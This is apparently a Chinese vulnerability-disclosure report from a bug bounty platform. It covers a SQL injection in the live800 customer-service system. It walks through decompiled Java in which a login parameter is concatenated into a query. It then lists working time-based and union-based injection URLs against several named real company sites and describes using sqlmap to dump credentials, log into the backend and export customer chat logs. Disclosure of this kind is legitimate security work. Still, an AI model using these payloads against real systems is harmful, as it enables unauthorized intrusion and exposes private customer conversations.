### 简要描述：
SQL注射漏洞，可看客户与客服对话内容，泄露大量敏感信息。
### 详细说明：
通过此漏洞 [WooYun: live800客服系统任意文件下载漏洞](http://www.wooyun.org/bugs/wooyun-2015-0147322) 下载站点源码，在loginAction.jsp中发现以下内容：
```
String loginName=request.getParameter("loginName");
String password=request.getParameter("password");
String loginServerUrl = request.getParameter("loginServerUrl");
OperatorInfo operatorInfo=new OperatorInfo();
operatorInfo.setLoginName(loginName);
password = URLUtil.unEscapeHtml(password);
operatorInfo.setPassword(password);
operatorInfo.setLoginServerUrl(loginServerUrl);
int result=DBManager.validateLogin(request.getParameter("companyLoginName"),operatorInfo);//跟踪此方法
if(DBError.NO_EXCEPTION==result&&operatorInfo.validateLogin()&&!StringUtils.isNullOrLengthZero(operatorInfo.getId()))
```
跟踪用于登录的DBManager.validateLogin()方法，代码做了混淆看着有点吃力：
```
public static int validateLogin(String paramString, OperatorInfo paramOperatorInfo)
{
if (paramOperatorInfo == null) {
return 17;
}
String str1 = paramOperatorInfo.getPassword();
if (StringUtils.isNullOrLengthZero(new String[] { str1,
paramString })) {
return 17;
}
paramOperatorInfo.setPassword(Password.getEncodingPassword(str1));
String str2 =
ak.i(paramString);//跟踪此方法
if (StringUtils.isNullOrLengthZero(str2)) {
return 17;
}
paramOperatorInfo.setCompanyId(str2);
return OperatorDBM.validateLogin(paramOperatorInfo);
}
```
再跟踪 ak.i()方法：
```
public static String i(String paramString)
{
StringBuffer localStringBuffer = new StringBuffer();
localStringBuffer
.append("select company_id from company where company_login_name='");
localStringBuffer.append(paramString);
localStringBuffer.append("' and user_type!='");
localStringBuffer.append("U");
localStringBuffer.append("'");
return DBCommuter.getAnAttribute(localStringBuffer.toString());
}
```
在这里看到SQL语句是由参数拼接而成的，最后跟踪DBCommuter.getAnAttribute(localStringBuffer.toString())看看SQL是怎么执行的：
```
public static final String getAnAttribute(String paramString) {
if (paramString == null) {
return null;
}
String str = null;
Connection localConnection = null;
Statement localStatement = null;
ResultSet localResultSet = null;
if (Live800Define.isOracle)
paramString = MysqlToOracle.dividePage(paramString);
try
{
localConnection = a();
localStatement = localConnection.createStatement();
localResultSet = localStatement.executeQuery(paramString);
if (localResultSet.next()) {
str = localResultSet.getString(1);
}
a(localStatement.getWarnings(), paramString);
a(localResultSet.getWarnings(), paramString);
localResultSet.close();
localResultSet = null;
localStatement.close();
localStatement = null;
localConnection.close();
localConnection = null;
} catch (SQLException localSQLException1) {
localSQLException1.printStackTrace();
if (a.isWarnEnabled()) {
a.logWarn(paramString, localSQLException1);
}
}
finally
{
if (localResultSet != null) {
try {
localResultSet.close();
} catch (SQLException localSQLException2) {
a.logFatal("close rs error!", localSQLException2);
}
localResultSet = null;
}
if (localStatement != null) {
try {
localStatement.close();
} catch (SQLException localSQLException3) {
a.logFatal("close stmt error!", localSQLException3);
}
localStatement = null;
}
if (localConnection != null) {
try {
localConnection.close();
} catch (SQLException localSQLException4) {
a.logFatal("close connect error!", localSQLException4);
}
localConnection = null;
}
}
return str;
}
```
从以上的代码不难看出程序未进行参数化查询导致SQL注入漏洞发生。
还是以华为作为测试用例，访问以下地址登录：
```
http://robotim.vmall.com/live800/login.jsp?aaa=1
```
抓取数据包：
[<img src="https://images.seebug.org/upload/201510/18011527d8ee17249c7b9ee41a82159dd2093abd.png" alt="6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/18011527d8ee17249c7b9ee41a82159dd2093abd.png)
其中的companyLoginName存在SQL注入：
```
http://robotim.vmall.com/live800/loginAction.jsp?companyLoginName=1%27or(select%20sleep(2))%23&loginName=a111&password=111
```
可以看到页面成功延迟2s，用SQLMAP跑出账户密码：
[<img src="https://images.seebug.org/upload/201510/180118513ace4f26deaa11bc0acb3a0721f47452.png" alt="5.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/180118513ace4f26deaa11bc0acb3a0721f47452.png)
成功登录后台：
[<img src="https://images.seebug.org/upload/201510/18012042cb1963beebcf204905fea54d092a3037.png" alt="7.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/18012042cb1963beebcf204905fea54d092a3037.png)
在后台有个对话记录查询功能：
[<img src="https://images.seebug.org/upload/201510/180122343f04f8430265bc9357132fb59e54d195.png" alt="8.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/180122343f04f8430265bc9357132fb59e54d195.png)
直接导出详细记录即可查看对话记录：
[<img src="https://images.seebug.org/upload/201510/1801255847910d14ea32b2acc52454a40f29e574.png" alt="9.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201510/1801255847910d14ea32b2acc52454a40f29e574.png)
简单例几个受此漏洞影响的站点：
```
http://800.vip.com/live800/loginAction.jsp?companyLoginName=test%27or(select sleep(3))%23&loginName=test2&password=test3
http://livechat1.eachnet.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
http://fnonline.feiniu.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
http://sf-ocs.sf-express.com:8080/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
http://online.kingdee.com/live800/loginAction.jsp?companyLoginName=-1%27union%20select%20(select%20sleep(3))%20from%20company%20limit%201%23&loginName=test2&password=test3
```
### 漏洞证明：
同上
京公网安备 11010502034610号
暂无评论